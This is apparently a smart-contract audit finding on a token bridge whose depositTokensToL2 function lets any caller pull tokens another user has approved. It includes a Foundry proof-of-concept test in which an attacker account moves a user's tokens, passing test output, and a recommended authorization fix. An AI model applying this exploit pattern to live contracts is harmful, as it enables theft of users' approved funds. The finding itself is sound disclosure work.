Summary
Vulnerability Details
The depositTokensToL2
function allows the caller to deposit funds to the vault which in turn will mint tokens in L2 for the caller. However, there is no verification on whether the owner of the tokens wants to deposit tokens into the vault.
* @notice Locks tokens in the vault and emits a Deposit event
* the unlock event will trigger the L2 minting process. There are nodes listening
* for this event and will mint the corresponding tokens on L2. This is a centralized process.
*
* @param from The address of the user who is depositing tokens
* @param l2Recipient The address of the user who will receive the tokens on L2
* @param amount The amount of tokens to deposit
*/
function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
token.safeTransferFrom(from, address(vault), amount);
emit Deposit(from, l2Recipient, amount);
}
PoC
Add Unit Test to L1TokenBridge.t.sol
Run forge test --match-test testAnyUserCanDepositTokens
function testAnyUserCanDepositTokens() public {
vm.startPrank(user);
uint256 amount = 10e18;
token.approve(address(tokenBridge), amount);
vm.expectEmit(address(tokenBridge));
emit Deposit(user, userInL2, amount);
changePrank(attacker);
tokenBridge.depositTokensToL2(user, userInL2, amount);
assertEq(token.balanceOf(address(tokenBridge)), 0);
assertEq(token.balanceOf(address(vault)), amount);
vm.stopPrank();
}
[⠃] Solc 0.8.20 finished in 2.27s
Compiler run successful!
Running 1 test for test/L1TokenBridge.t.sol:L1BossBridgeTest
[PASS] testAnyUserCanDepositTokens() (gas: 77835)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.22ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Anyone can call the depositTokensToL2
regardless if they are the owner of the EOA that actually owns the tokens. This also allows owners to Rug-Pull all the tokens of the user.
Tools Used
Foundry
Recommendations
In this modified version, the function checks whether the caller (msg.sender) is the owner of the from address or is an authorized signer. If not, the function reverts with an error message.
function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
require(msg.sender == from || isAuthorized(msg.sender), "Not authorized to transfer tokens");
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
token.safeTransferFrom(from, address(vault), amount);
emit Deposit(from, l2Recipient, amount);
}
function isAuthorized(address account) internal view returns (bool) {
return signers[account];
}